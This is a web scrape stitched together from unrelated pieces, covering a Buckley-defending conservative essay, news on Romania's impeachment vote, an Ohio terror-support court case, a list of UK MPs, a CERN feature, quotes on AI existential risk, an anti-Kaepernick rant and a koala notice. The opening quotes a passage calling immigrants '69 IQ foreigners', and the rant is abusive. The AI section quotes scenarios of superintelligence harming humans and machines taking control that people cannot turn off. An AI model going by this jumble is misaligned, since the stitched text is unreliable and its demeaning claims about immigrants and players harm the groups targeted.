Notice the analogies between the narcissist’s behavior, and that of the modern Cuckservative right. People are happy in America. Things are good. What do the Cucks innocently support? Importing floods of 69 IQ foreigners into the nation, who have no hope of ever assimilating. Importing people who cannot create even a semblance of freedom in their home countries, let alone protect it from leftists here. People who come from cultures where nepotism and corruption are so endemic to their culture that even if the US artificially imposes democracy and freedom in their home nation, they have no ability to maintain it themselves. People who come to the US in search of free resources, provided by government. People who vote by margins of 70 or 80% for the liberal’s promises of free resources provided through theft from the productive. People who kill innocent Americans and destroy the nation’s unity through divisions of language, and culture, and moral philosophy.
No one can accuse me of wanting to import “floods of 69 IQ foreigners into the nation,” etc., and I’m quite sure William F. Buckley Jr. never supported any such scheme. The question of how to fix our broken immigration “policy” (which in truth is no policy at all) has bedeviled the conservative movement for the past 30 years. The Right seems to be caught between (a) rank-and-file opposition to open borders, (b) the Chamber of Commerce crowd’s appetite for cheap labor, (c) sentimental fools who get all misty-eyed while quoting Emma Lazarus and invoking their great-grandfather’s arrival at Ellis Island, and (d) the Republican Party’s predictable cowardice when accused of “racism.”
As someone who has spent more than two decades in conversation with leading minds of the Right — including the so-called “alt-Right,” some of whom owe me personal favors, and vice-versa — I abhor the kind of internecine warfare that goes on between various factions of the conservative movement. Years ago, I started joking that I should write a history of these conflicts which I proposed to entitle First, They Came for Mel Bradford. If you don’t get that joke, I won’t bother you with an explanation of how Bradford’s appointment to a position in the Reagan administration was sabotaged with the assistance of George F. Will, among others. Nor will I explain why in recent months I’ve thought of an imaginary sequel to that story that I propose to title Sam Francis Could Not Be Reached for Comment. In the seemingly interminable wars between neoconservatives and paleoconservatives, the neocons have engaged in a lot of dishonorable backstabbing to gain and maintain their predominant influence within the GOP, while the paleocons have engaged in too many self-defeating tactical blunders. Rather than to rehash all these ancient grievances, however, my purpose here is to defend Buckley’s reputation against the preposterous accusation that he “slow[ed] the ascent of conservatism.” Most of Buckley’s peers and comrades — including people I had the opportunity to know, like M. Stanton Evans, Paul Weyrich and Phyllis Schlafly — have joined him in the Great Beyond, so that they are unavailable to testify in his defense. Therefore, I will attempt briefly to rescue Buckley’s good name from the posthumous smear of being an “Establishment cuckservative.”
The modern American conservative movement began in the 1940s in reaction to (a) FDR’s New Deal and (b) the threat of Soviet Communism. These were separate dangers that were nevertheless in some way related, given how the Alger Hiss case exposed the way Soviet agents had penetrated the federal government during Roosevelt’s presidency. We could recite a long roster of names — inter alia, Owen Lattimore, Harry Dexter White and Henry Wallace — to explain why what liberals called “McCarthyism” arose in the late 1940s and early ’50s. William F. Buckley Jr.’s first contribution to the anti-Communist cause was his 1951 book God and Man at Yale, which exposed how this Ivy League institution, generally believed to be a bastion of conservatism, was in fact well on its way to becoming quite the opposite. Buckley (helped by his mentors, Willmoore Kendall and Frank Chodorov) demonstrated that Yale was betraying its original commitment to Christianity, and was also promoting left-wing political and economic ideas. Buckley did not claim that Yale was being taken over by godless Communists, but he did show that the university was failing to teach students how and why they should oppose godless Communism. Probably no book in the 20th century caused quite as much of a firestorm as did God and Man at Yale.
Buckley was accused of being a crypto-fascist and his book was metaphorically compared (by Frank Ashburn in the Saturday Review) to the burning cross at a Klan rally. Despite this vilification, Buckley had truth on his side and, as we look back across the span of more than six decades, the accuracy of his assessment is all the more remarkable. Now that Yale actually is being run by godless Commies, we can point to Buckley’s timeless classic and say, “See? We told you so.”
It was not Buckley’s intention to make himself the leader of a movement, but what happened was that the movement’s demand for leadership more or less required Buckley to step into that role. While there were many great minds at work in the project of crafting an intellectual response to the challenges facing America in the 1950s, no one else had the distinct combination of traits that Buckley brought to his job as founder of National Review. On the one hand, Buckley was full of the youthful impudence necessary to mock the reigning pieties of liberalism, while at the same time he had a profound reverence toward traditional values of faith, freedom and family. At a time when Republicans were embracing the moderate “go-along-to-get-along” attitudes of the Eisenhower administration, Buckley and National Review stood for a real system of conservative principles. Buckley’s conservatism included (but was not limited to) opposition to the Welfare State in domestic policy, and an unflinching hostility toward Communism. However, as we look back on that era, we must remember how the grand drama of the Cold War overshadowed every other consideration in American politics. Probably no one under age 40 today has any notion of the seriousness of the Soviet menace and what a tremendous feat it was for Buckley and others to organize the West’s victorious strategy in that historic contest.
Let it be said that I may here be giving Buckley too much credit for his role as de facto intellectual leader of the conservative movement that ultimately elected Ronald Reagan president and, in consequence, forced the collapse of the Soviet Union’s “Evil Empire.” Knowing that many other people contributed to that success, and not wishing to diminish the role of others by exaggerating Buckley’s eminence, still I feel the greater danger is in not giving Buckley enough credit for what he did.
Too easily do the young forget what their ancestors accomplished, succumbing to the belief that historic events were somehow inevitable. However, as Ronald Reagan famously said, “I do not believe in a fate that will fall on us no matter what we do. I do believe in a fate that will fall on us if we do nothing.” Confronted with the crisis of the late 20th century, Buckley was not content to do nothing, and if it is wrong to give him too much credit for the success of the conservative movement, so would it be wrong to blame Buckley too much for the movement’s failures over the past 25 years. Certainly there are legitimate grounds on which to criticize Buckley. No one in public life is exempt from criticism, but when the subject is someone so directly involved with a historic success, it behooves us not to be nitpicky about their faults and errors. Never will I forget that night in 1989 when I watched live on CNN what seemed to me a miracle — the fall of the Berlin Wall, an event that answered the prayers of many millions of freedom-loving people around the world.
How much credit does William F. Buckley Jr. deserve for the success of the conservative movement that rallied Americans to stand firm against Communism, to elect Ronald Reagan and support his anti-Soviet strategy, and thus to lead America to victory in the Cold War? However you answer that question, you cannot say Buckley’s contribution was minor, and I think everyone who loves liberty owes a certain debt to the man who once dared to stand athwart history, yelling Stop.
Now shut up, you kids, and hand me back my remote.
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[Related Oregon rolls past Arizona in 2014 Pac-12 Football Championship Game]
Loyd is the first athlete to play in both the basketball and football versions of a Pac-12 Championship game. He showed athleticism and shiftiness against the Arizona Wildcats at Levi's Stadium by taking four punt returns for 61 yards, two of which, as seen above, went for 20-plus-yard gains.
[Related photos: Let the championship celebration begin]
A total of 258 lawmakers out of 432 voted in favour of the move against Basescu on Friday, said Dan Radu Rusanu, a senator with the governing coalition.
But the impeachment will only take effect if approved in a referendum within 30 days. Basescu has held the powerful position for eight years.
The lawmakers voted to remove Basescu from his post over claims he improperly assumed the powers of the prime minister when he announced drastic austerity cuts in 2010.
Romania, then badly hit by recession, agreed to tough belt-tightening measures, including unpopular public sector wage and benefit cuts, in return for a multi-billion-dollar bailout from the European Union and IMF.
Basascu, speaking in parliament ahead of the vote, rejected the charges, and said the campaign against him had violated the rule of law and put at risk "the stability and reputation of the country".
He accused the ruling Liberal Social Union (USL) coalition of trying to "control all the levers of the state, especially the judiciary".
Obstacles removed
The USL cabinet sparked widespread concern when on Wednesday it approved a decree barring the constitutional court from ruling on parliamentary decisions - removing what could have been an obstacle to Basescu's impeachment.
The court had made a rare statement this week complaining of "virulent attacks" against some of its judges whom the government was threatening to sack.
The government withdrew its complaints against the judges but then adopted an emergency order curbing the court's powers.
Other controversial moves have included sacking the opposition speakers of both houses of parliament and replacing the ombudsman - who has the sole power to contest government decrees and emergency orders - with a USL member.
The constitutional court ruled on Friday that Basescu had indeed committed some breaches of his prerogatives but no violations of the constitution.
The coalition government led by Victor Ponta, the country's prime minister, had given the top court a day to give an opinion on seven charges against him.
Two decades after Romania emerged from communist dictatorship, it has been thrown into turmoil by a bitter feud between Basescu and his arch-rival, the centre-left leader Ponta.
Removing checks and balances
Western powers have voiced fears that Ponta's coalition government, which took office only in May, has been eroding democratic checks and balances in its campaign to oust Basescu.
This week, Ponta's USL fired the speakers of both houses of parliament and the ombudsman and threatened to sack judges of the Constitutional Court.
The United States and European Union as well as France, Germany, the Council of Europe and several rights groups, including Freedom House and the Helsinki Committee, have all expressed concern.
"The rule of law, the democratic checks and balances and the independence of the judiciary are cornerstones of the European democracy and indispensable for mutual trust within the European Union," the European Commission warned.
The political crisis in one of Europe's poorest countries has seen the leu currency nosedive in recent days.
Ponta has sought to allay Western fears, pledging to travel to Brussels next week to "give assurances" to the bloc which Romania joined in 2007.
Germany has voiced "deep concern," saying "the Romanian Constitutional Court's independence and ability to take action must not be questioned."
German Chancellor Angela Merkel's spokesman Steffen Seibert warned Berlin would "closely consult" with its EU partners on Romania's bid for full membership of the visa-free Schengen zone, which is up for review in September.
Ponta granted that Bucharest's partners have "legitimate concerns" but insisted Romania "will remain a stable country in which the rule of law, the constitution, European and international standards will be respected".
The big enchilada this Fall is the House. And a big part of the equation will be the degree to which Democrats are able to raise fears of a return to Republican rule that are strong enough to blunt the strong anti-incumbent tide. And in this case, the ads just write themselves:
“If “candidate X” wins the man in charge of Energy policy in Washington will be Joe Barton, the guy who actually (incredulous and contemptuously inflection on ‘actually’) apologized to BP for making them pay to clean up the Gulf Coast.”
It’s not something the election is going to turn on. But it’s a nice tag line for a lot of Democratic incumbents’ commercials this fall.
Relatives and friends of a West Side man who is accused of having ties to terrorists were in court yesterday to show support for him.
At one point, Abdirahman S. Mohamud turned, waved and smiled to some of the six women and five men in the court, and one woman waved back. None of his family, however, would talk to reporters.
Little new information was released yesterday about Mohamud, 23, who is accused of having contact with terrorists in the Middle East. He didn�t speak during his arraignment in Franklin County Common Pleas Court.
Franklin County Prosecutor Ron O�Brien did say that a tablet computer was among the items Mohamud supplied to members of a terrorist organization during a trip to the Middle East.
O�Brien had asked Common Pleas Magistrate Elizabeth Watters for a bond of $2.5 million, calling Mohamud a public-safety threat and a flight risk. She set a bond of $1 million.
Mohamud�s attorney, Sam Shamansky, had argued that O�Brien�s request was excessive for a defendant facing what Shamansky called two �low-level felonies,� the most serious of which is punishable by no more than three years in prison.
He said his client, who was born in Somalia, is a U.S. citizen, has lived in central Ohio since about 1999 and has strong family ties in the area.
�He is entitled to a reasonable bond,� said Shamansky, who entered not-guilty pleas for his client.
Mohamud, of Dunlane Court, was arrested on Saturday and indicted on Monday on one count each of soliciting or providing support for acts of terror, a third-degree felony, and money laundering in support of terrorism, a fifth-degree felony. The arrest followed a 1 1/2 year investigation by the FBI, O�Brien said.
In a motion filed on Tuesday, O�Brien wrote that Mohamud �provided material support and resources or electronic devices to persons engaged in terrorism in the Middle East and has traveled to that area of the world.�
Prosecutors have provided few specifics about those activities, including whether Mohamud is suspected of planning terrorist attacks in central Ohio. The local office of the FBI and the U.S. attorney�s office have declined to comment on the case.
�There�s not a lot of meat on these bones,� Shamansky said of the allegations.
O�Brien said Mohamud traveled to the Middle East, where he met with relatives and others linked to a �federally designated terrorist organization.� He declined to name the group but said after the hearing that it is �a subgroup of a terrorist organization that people would recognize.�
Mohamud reportedly traveled to Syria, but O�Brien would not discuss any countries that he visited.
O�Brien said the federal investigation is ongoing and likely will result in more-serious federal charges against Mohamud.
Shamansky, who was hired by Mohamud�s family, said he assumes that �the federal case will rear its head and this case will become secondary.�
Watters said she could not consider any potential federal charges in setting bond on the state charges.
At $1 million, Mohamud can�t afford to pay a bail-bond agent the necessary premium to gain his release from jail, Shamansky said.
If Mohamud does get out of jail, Watters said he must be under house arrest, surrender his passport and not use the Internet or transfer funds out of the country.
After numerous reporters asked Shamansky for more information about Mohamud, including whether he was in college, Shamansky said, "He�s been helping his mother, who has a serious back issue."
Hassan Omar, who leads the Somali Community Association of Ohio, said he talked with Mohamud�s mother yesterday.
�She said he�s innocent,� Omar said.
He said he fears that the arrest will tarnish the community�s image here.
�We don�t want to be part of the problem. We want to be part of the solution,� Omar said. �We are here. We are American.�
A spokesman for the Whitehall school district confirmed that Mohamud was enrolled in Whitehall schools from Aug. 24, 2005, through Aug. 1, 2009. He did not graduate from high school in that district, the spokesman said.
Neighbors of the family on Dunlane Court said on Tuesday that Mohamud seemed to be a typical young man, and his family drew little attention there until the FBI showed up last week.
Residents of two other neighborhoods where the family had lived in recent years had only vague recollections of them.
In a South Side neighborhood off Winchester Pike, residents remembered the family only as Somalis who kept to themselves and moved after about a year in the rental house.
On Chandler Drive in Whitehall, where the family also lived for about a year, one resident recalled that the number of tenants in their rental house seemed to grow and that they left about eight mattresses on the curb when they moved out a few years ago.
The home was left in poor condition and had to be heavily renovated before new people moved in, he said.
Dispatch Reporters Theodore Decker and Mark Ferenchik contributed to this report.
jfutty@dispatch.com
Despite the fact the two are not linked, people sharing last year's news does mean that the contentious issue of the rejected amendment has been thrust into the public dialogue once again.
The 72 MPs who were registered as deriving income from property of over £10,000 a year and who voted against the law, were as follows:
Nigel Adams
Stuart Andrew
Victoria Atkins
Jake Berry
James Berry
Bob Blackman
Robert Buckland
Alun Cairns
David Cameron
Alex Chalk
James Cleverley
Geoffrey Clifton-Brown
Therese Coffey
Geoffrey Cox
Mims Davies
Philip Davies
Richard Drax
James Duddridge
Alan Duncan
Philip Dunne
Jane Ellison
George Eustice
Mike Freer
Richard Fuller
John Glen
Robert Goodwill
Chris Grayling
Dominic Grieve
Chris Heaton-Harris
Peter Heaton-Jones
George Hollingberry
Kevin Hollinrake
Philip Hollobone
Nick Hurd
Stewart Jackson
Margot James
Sajid Javid
Joseph Johnson
Simon Kirby (teller)
Greg Knight
Brandon Lewis
Julian Lewis
Craig Mackinlay
Tania Mathias
Karl McCartney
Anne Marie Morris
Sheryll Murray
Robert Neill
Sarah Newton (teller)
Jesse Norman
David Nuttall
Neil Parish
Owen Paterson
Rebecca Pow
Jeremy Quin
Jacob Rees-Mogg
Laurence Robertson
Julian Smith
Royston Smith
Mark Spencer
John Stevenson
Desmond Swayne
Derek Thomas
Anne-Marie Trevelyan
Andrew Turner
Shailesh Vara
Theresa Villiers
Ben Wallace
David Warburton
Craig Whittaker
John Whittingdale
The worst-case scenario would have been an actual criminal prosecution over the incident—something that wasn't really considered in the US, where the issue was investigated by the Federal Trade Commission and ultimately dropped.
A prosecution got mighty close to taking place in Hamburg, Germany, however. There, city prosecutors were ready to put Google officials in the dock as late as last month. No one in Mountain View needs to book any flights though, because the Germans have now said that's not going to happen.
In explaining their decision, German prosecutors reiterated what's already known: Google collected the information by accident, from public networks, and with no bad intent. Therefore, the collection didn't violate German law, according to ZDNet's report on the decision.
European nations have stricter privacy laws than the US, and Germany is on the short list of nations most concerned about violations of its citizens' privacy. In Germany and Switzerland, individual businesses or homeowners can opt to have their property "blurred" on services like Street View.
Panic. Stress. Fear. Worry. But, most of all, tangible excitement. Jean-Philippe Tock, an engineer at CERN, one of the world’s biggest particle physics labs in Geneva, Switzerland, crosses the echoing main magnet workshop. Its massive doors are wide open to a stunning view of the Jura Mountains. A dozen bright blue cylindrical magnets - 15 metres long and weighing a massive 28 tonnes each - line the floor.
In a tunnel a hundred metres below, identical magnets - set head to tail in a 27km long circle deep beneath scenic Franco-Swiss farmlands - form the world’s mightiest particle accelerator - the Large Hadron Collider. In a few days it will come to life after a two-year revamp, ready to fling protons through a narrow pipe inside these superconducting magnets. The particles are set to reach 6.5 trillion electron volts (TeV) - energies never before attempted by science and nearly double what the accelerator has achieved so far.
“We are all very impatient to get our beams flying and colliding again,” says Tock. But as he knows very well, a lot could go wrong.
The machine, with a US$5 billion price tag, earned its place in the history books in 2012 for discovering the much-hailed Higgs boson. It was the missing particle in the Standard Model that explains our physical world and crucially is believed to be responsible for giving mass to all other particles.
If the practice runs go well, the LHC will start in May to smash protons together, sending them in beams moving at nearly the speed of light towards head-on collisions. Four main detectors spread around the ring will then sift through the debris and look for short-lived, exotic particles thatmay help scientists understand, quite bluntly, why we are here.
Once the beams are switched on, the tunnels will be largely off-limits, except for maintenance. But during the two-year shutdown, Tock and his 300 colleagues in the Superconducting Magnets And Circuits Consolidation (SMACC) team made the tunnel their main workplace, spending about one million man-hours to reinforce the electrical connections inside the magnets and ensure that the machine survives the extra punch.
“We simply can’t afford a mistake. Not again,” says Tock.
He remembers all too well the morning of 19 September 2008, nine days after the LHC had been switched on for the first time, to great fanfare, following nearly a decade in the making. Two missed phone calls from his boss. A panicky rush to the main control room. And eerily black screens that were supposed to show key data from the tunnel such as temperature and pressure. “Nobody knew what had actually happened, but we knew it was serious,” remembers the 45-year-old engineer.
The problem was a faulty connection, or splice, between two magnets. There are more than 1,200 main magnets arranged end to end to make up the ring guiding the proton beams, reinforced by hundreds of other magnets. They steer and focus the protons around the loop; chilled to a frigid 1.9 kelvin (-271°C) the magnets are colder than deep space, because only then the cables carrying the electric current become superconductive and generate the required magnetic fields.
As the proton beams reach higher and higher energies, the magnets have to sustain higher and higher currents. But nearly seven years ago, one single faulty connection - or splice - failed and melted. Quickly, tonnes of supercooled helium leaked into the tunnel. This led to a rapid dumping of energy, which overheated several magnets and made them resistant to current - an event known as a quench. This in turn destabilised the vacuum conditions. “Pressure was so huge that some doors in the tunnel got blasted away, and a number of those enormous magnets were displaced by up to half a metre,” recalls Tock.
It took months to replace the damaged magnets, and more than a year to switch the machine back on.
“It was a blow,” says Roberto Saban, head of CERN’s engineering department.
To play safe, the team never cranked up the LHC to its full designed potential of 7TeV per beam. A single proton carrying 7TeV is about the energy of a flying mosquito - but since there are about 300 trillion protons in a beam, the energy of each beam is comparable to the energy of a freight train travelling at about 100 miles per hour, or a car at about 2000 miles per hour.
The energy maximum put into the beams so far has been 4TeV, producing 8TeV in head-on collisions. It was sufficient to end a 50-year hunt and pin down the Higgs, which earned theoreticians François Englert and Peter Higgs a Nobel Prize in physics in October 2013.
But physicists believe that there’s much else to discover and are eager to get their beams flying at full pelt.
Searching for supersymmetry
The Higgs may have been the missing piece to satisfy the Standard Model puzzle, which explains all known fundamental particles and forces except gravity; however, the model itself no longer satisfies the particle physics community. There’s simply too much that it can’t explain. For example, it describes ordinary matter well enough, but fails to explain the dark matter and dark energy that make up most of our universe. And the model depends on too many mathematical assumptions.
A popular extension to the Standard Model called supersymmetry, or tenderly SUSY by its fans, would allow physicists to get rid of many of these assumptions - by introducing heavier supersymmetric counterparts, or ‘sparticles,’ to all particles. The problem is that since the theory was dreamed up in the 1970s, all attempts to find any evidence for the sparticles have drawn a blank.
Physicists hope that the LHC’s higher energies could help them enter the realm of such exotic particles. But “if in a decade or so we find nothing, we’ll have to scratch our heads both on the machine side and on the theory side,” says Luca Malgeri, physics coordinator at Compact Muon Solenoid (CMS), one of the LHC experiments that hunts for any evidence of SUSY. Squinting at the sun as he looks out of his office at the snow-?capped Alps, he adds: “It’ll be time to go back to pen and paper.”
But the CERN team is willing to try, and the refurbished collider is their best shot - provided it can get as close as possible to its design energy.
Countdown to LHC’s reboot
To outsiders, the unprecedented overhaul may have “looked like we were all taking a break of two years,” says Mirko Pojer, a physicist and the engineer in charge of LHC operations. He stands in CERN’s main control room, the LHC’s nerve centre that was nearly empty up to a few weeks ago but has now become crowded and noisy. “It was not the case.”
At first glance, CERN indeed looked fairly deserted during the shutdown. But it was because physicists were all tucked away in their offices, analysing the data from the LHC’s first run of operations, while most engineers and technicians were working deep underground. There, in the tunnels, they were busy fitting the accelerator with new sensors and re-cabling everything to ensure that they immediately catch even the slightest surge in voltage.
Two years for the reboot of a machine may sound a long time, but then the LHC is no ordinary machine; it’s one of its kind.
Tock’s team had to reinforce more than 10,000 superconducting splices linking the magnets; they did this by fitting each with electrical shunts - low-resistance connections that would guide the current to an alternative path if a splice were to lose its superconducting state. This alone took more than a year. And it took a few more months to cool the magnets down to 1.9K, to get them ready to receive the beams. The LHC ring is divided into eight independent sections to speed up the chilling process.
Finally, in August 2014 the team started first electrical tests to make sure the ring would survive the energy boost without a quench.
Besides reinforcing the connections, the LS1 - CERN-speak for Long Shutdown 1 - was an opportunity to improve the protection of sensitive electronic equipment from radiation. When high-energy protons zoom through the tunnel, every now and then stray particles smash into the ultra-precise electronics crammed inside, resulting in microdamage that might send erroneous data to the control room.
And since it’s not only the particles’ energies that will be cranked up but there will also be more protons in the beam, the added shielding will “make sure that the electronics cope with the extra dosage of radiation at Run Two,” says Tara Shears, a physicist at LHCb, one of the four experiments at the collider.
The experiments themselves also got an extra kick. On the southern side of the LHC’s ring, and straddling the Swiss border, sits ATLAS, one of the two machines that independently identified the Higgs. ATLAS is as big as half of Notre Dame cathedral in Paris and weighs 7,000 tonnes - the same as the Eiffel Tower or 1,000 elephants.
During the upgrade, ATLAS received a new sub-detector, the Insertable B-Layer or IBL. A layer of silicon pixel, it is technically similar to the sensor of a digital camera. Placed very close to the centre of ATLAS, right where protons smash into each other to create a cascade of exotic subatomic particles, the new detector will be an additional and more accurate measurement point for new particles. “We can now look at particles closer up as they come from the collision,” says physicist Dave Charlton, the spokesman for the ATLAS experiment.
Some 8.5km away, on the other side of the ring, sits the other Higgs-catcher, called CMS. To drive there from ATLAS takes about 20 minutes. For Tock to go there along the collider’s body by bike - the most “practical, efficient and healthy way to move around in the tunnel” takes two hours. And a fully accelerated proton makes the entire 27km lap in less than one ten-thousandth of a second.
During the upgrade, four disc-shaped chambers were added to each end of the CMS to increase its sensitivity to muons. These charged particles are similar to electrons, but 200 times heavier. The four chambers are meant to improve greatly the detector’s ‘trigger’ - the mechanism that monitors the collision debris and guides researchers whether the data from the collision are interesting enough to keep.
Recreating the early universe
Yet another experiment had its computer system completely refurbished so that it can cope with more data; called ALICE, it is tasked with re-creating the conditions of the universe in the first fraction of a second after the Big Bang some 13.8 billion years ago.
ALICE was in the spotlight in 2010, when it produced a ‘mini-Big Bang’. By colliding lead ions instead of protons, physicists created temperatures a million times hotter than at the centre of the sun and generated a so-called quark-gluon plasma - primordial matter that is thought to have existed when not much else did.
This was a feat, but more questions linger. Why is matter much heavier than the weight of its constituents - for instance, why is a proton much heavier than the three quarks that make it up? “And what is this magic that means a quark cannot exist in isolation - why when we recreate them, they immediately condense into a more complex object?” says physicist Yves Schutz, ALICE’s deputy spokesman.
Higher energies may help solve these mysteries. They may allow the researchers to create the quark-gluon plasma in a much hotter state, which means that this primordial matter will take much longer to cool down and return to ordinary matter. This will give the team more time for observations and analysis. “It will make our life easier,” says Schutz.
So is the CERN team dead certain there won’t be a repeat of the 2008 meltdown?
“Of course we are not fully reassured,” says Tock. “But we did all we could to test, so far only measuring things partially. The final ‘well-done’ stamp will come when all the sectors are at the nominal energy and we have protons flying in the machine.”
Looking ahead
If all goes well, the LHC will operate at 6.5TeV for about a year, before the team cranks the machine up towards its design energy of 7TeV. But LS1 was not the final refurbishment of the collider. In total, Run Two is scheduled to last three and a half years - and later, in the mid-2020s, the LHC will undergo a major upgrade to give it an enormous boost in luminosity, physics speak for the intensity of collisions. “It will give us a lot more sensitivity to rare processes,” says Charlton. For the accelerator it means going back to sleep for another two to three years while the work is done. After that, CERN’s engineers and physicists hope to keep it running until about 2035.
And what if nothing is found then? “From a physics point of view, in some strange contorted way it’ll be brilliant,” says Shears. It will mean, however, that physicists may have to scrap their ideas and come up with something else - both in terms of theory and technology.
Here are some scenarios that some pretty smart people came up with in regards to Artificial Intelligence.
According to Stuart Armstrong, a philosopher and Research Fellow at the Future of Humanity Institute at Oxford:
The first impact of [Artificial Intelligence] technology is near total unemployment. You could take an AI if it was of human-level intelligence, copy it a hundred times, train it in a hundred different professions, copy those a hundred times and you have ten thousand high-level employees in a hundred professions, trained out maybe in the course of a week. Or you could copy it more and have millions of employees… And if they were truly superhuman you’d get performance beyond what I’ve just described.
Daniel Dewey, a research fellow at the Future of Humanity Institute, builds on Armstrong’s train of thought in Aeon Magazine. After all, when and if humans do become obsolete, we’ll become little more than pebbles in a robot’s metaphorical shoes.
“The difference in intelligence between humans and chimpanzees is tiny,” [Armstrong] said. “But in that difference lies the contrast between 7 billion inhabitants and a permanent place on the endangered species list. That tells us it’s possible for a relatively small intelligence advantage to quickly compound and become decisive.” …. “The basic problem is that the strong realization of most motivations is incompatible with human existence,” Dewey told me. “An AI might want to do certain things with matter in order to achieve a goal, things like building giant computers, or other large-scale engineering projects. Those things might involve intermediary steps, like tearing apart the Earth to make huge solar panels. A superintelligence might not take our interests into consideration in those situations, just like we don’t take root systems or ant colonies into account when we go to construct a building.” You could give it a benevolent goal — something cuddly and utilitarian, like maximizing human happiness. But an AI might think that human happiness is a biochemical phenomenon. It might think that flooding your bloodstream with non-lethal doses of heroin is the best way to maximize your happiness.
AI doesn't need the explicit intent of exterminating us to be scary. As Mark Bishop, professor of cognitive computing at Goldsmiths, University of London, told The Independent:
I am particularly concerned by the potential military deployment of robotic weapons systems – systems that can take a decision to militarily engage without human intervention – precisely because current AI is not very good and can all too easily force situations to escalate with potentially terrifying consequences,“ Professor Bishop said. "So it is easy to concur that AI may pose a very real ‘existential threat’ to humanity without having to imagine that it will ever reach the level of superhuman intelligence,” he said.We should be worried about AI, but for the opposite reasons given by Professor Hawking, he explained.
Or maybe we’ll see the end coming long before it makes its way over. Except that by then, we’ll be too incompetent to survive even attempting to shut it down. Bill Joy, cofounder and Chief Scientist of Sun Microsystems, writes in Wired:
What we do suggest is that the human race might easily permit itself to drift into a position of such dependence on the machines that it would have no practical choice but to accept all of the machines’ decisions. As society and the problems that face it become more and more complex and machines become more and more intelligent, people will let machines make more of their decisions for them, simply because machine-made decisions will bring better results than man-made ones. Eventually a stage may be reached at which the decisions necessary to keep the system running will be so complex that human beings will be incapable of making them intelligently. At that stage the machines will be in effective control. People won’t be able to just turn the machines off, because they will be so dependent on them that turning them off would amount to suicide.
I wait for the NFL all year long. I read everything I can on a weekly basis during the off-season. I even watched the CFL that one time. As an example of my level of obsession, I flew to Atlanta the Friday before the Superbowl in February for the express reason to jinx the Falcons because it had worked for the previous two years. Yup, I have that much of an issue.
Sunday afternoons during the NFL season are a time to abandon my children, ignore my friends and swear at my TV. My mother taught me that screaming at the TV is an effective way of making a difference. Oh crap! I think my mom may have been the original Antifa! The only thing I think is football. The only things I protest are bad calls against my beloved Pats (all the calls against them are bad). The only hate I have in my heart if for whatever team they are playing. And the Jets. I always hate the Jets. And Roger Goodell. But that goes without saying. I don’t think about politics. I don’t want to think about politics. I don’t want my pastor to talk about politics in church and I don’t want my team to talk about politics … ever.
And then along came Colin Kaepernick and cast a shadow over my day of beauty. Let’s examine him for a moment: He would want you to believe that, as a black man, he understands the plight of the oppressed. That poor man has been to hell and back all because of his skin is black (Pretty cool rhyme there huh?). Except he hasn’t. He was raised by an upper-middle class white family in Wisconsin before moving to California. He was always a great athlete and received all the respect and accolades that go with it. No, he became a radical douche only after his career started collapsing. He, no doubt, has talent and athleticism, but like so many young QBs that lose in the Superbowl, he choked thereafter. After that loss, and the loss of a hard-ass coach that made the snowflakes cry, he fell apart. Only then did he decide to stand up for criminals who were shot by police (I’ll write about that concept at some point). The spoiled little snowflake decided that the best way to help his fellow oppressed was to kneel during the anthem and insult the very country that made his success possible. Soon he was joined by others, some of whom actually had experienced oppression but seemed to forget they live in a country where they get paid millions to play a game regardless of their color.
The press had epic multiple orgasms. Everyone forgot that Kaepernick choked as a player and could not be relied upon to help his team win. They did everything possible to keep the issue alive. When Kaepernick was not picked up by another team, they openly questioned if it had to do with his political stance. That poor man was a true martyr to his cause. Rosa Parks had nothing on him. Then the new season started and the whole thing started up again. Even 8-year-olds were taking a knee. They had no idea why, but their parents wanted to feel important.
Fast forward to this week. President Trump decided to shine his bright spotlight on the issue in a way only he could. Snowflakes everywhere had orgasmic-tantrums (a new term created by Whiggy – you are welcome). For the first time in history, the liberal moral aristocracy displayed full-throated support for …. The One Percent. Yup – they truly stand for what they believe in … this week.
Side note: I must be honest, I wish the President had not said anything in this case. As one of my very close friends stated “(the issue) was trending in a positive direction”. Very few players were kneeling. Kaepernick is sitting at home. Americans were not responding well to parents having their 8-year-olds kneel. The President brought the issue back into the brightest spotlight it has seen to date. One thing I learned in my long career working with children is that they best reaction to a tantrum is to lower your voice and speak to them so quietly that they must stop to hear you. Sometimes the best way to deal with the tantrum is to simply ignore it. You’d be surprised how well both of those tactics work. The President, while correct in his words, gave them the attention they needed to continue and even expand their little snowflake fit. The toddlers are kneeling today, not because of alleged police brutality or racism, but because they want to make a stand against Trump. Sometimes you just have to let the children scream it out. They’ll get tired, grab a bo-bo and take a nap. Back to the issue.
Today I am disappointed by the game I love to watch. The NFL owners, worried about losing money, chose the wrong side and chose it fast. Guess what billionaires? More of your customers support Trump and the American Flag than your unpatriotic spoiled brats. Then the games started. First up were the Jags and the Ravens. Many of these multi-millionaire spoiled rotten little defecation-nuggets (new term, feel free to use it to your delight) knelt during our anthem but stood during the British anthem. I wonder how quickly the President can expand on the travel-ban. I am sure they can all make their millions in Europe. Then the pre-game shows started. More millionaires paid to talk about sports throwing little tantrums. Is them afwaid them’s little friends may get them’s feewings hurt?
And then the “players show of unity” began for the 1:00 games. For those teams that stood with their arms interlocked, I say bravo. Thank you for making your point while still showing respect for the flag. I am not sure what point you are making, but at least you are making it respectfully. By the way, do you know what point you are making? For those who knelt (almost half of my own beloved team), you are a disgrace. Please take your millions and leave this country. I am sure you will all be able to find jobs in other countries with those degrees “you earned”. Then you can kneel in front of anyone you want. I am sure you can make money that way. You are replaceable. There are plenty of Americans who would work harder and appreciate the opportunity to make a fortune playing a game. For the Patriots that knelt, you are not worthy to wear the name.
“But Whiggy, this is America. We have freedom of speech. They have a right to kneel.” You are saying.
I agree. They have the right to kneel. They have the right to protest all they want. I have rights as well. I have the right to point out that they are whiny little defecation-nuggets. I have the right to turn off my TV. I have the right to boycott every company that advertises on the NFL. I have the right to organize a vagina march and burn down all NFL stadiums. Oh wait. I’m not a part of the liberal moral aristocracy, I don’t get to do that last part.
Baby Koala Debuts at the L.A. ZOO
The Los Angeles Zoo and Botanical Gardens will unveil the newest member of the Zoo’s koala family on Friday, December 12, 2008 at 9:30 a.m. Born on April 3, 2008, the newborn koala spent six months developing in the mother’s pouch.
Baby koalas are commonly referred to as joeys. When a koala is born, it is just three-fourths of an inch long. After birth they climb into the mother’s pouch and stay there for six months. For the following six months, they are weaned from milk to eucalyptus as they stick their heads out of the pouch to eat partially digested leaves. After a year, they leave the pouch for good.
Although they are often referred to as a “koala bear,” koalas belong to the marsupial family. Marsupials are mammals whose females typically rear their young in a pouch through early infancy. Other members of the marsupial family are kangaroos, wallabies, wallaroos, wombats and opossums.
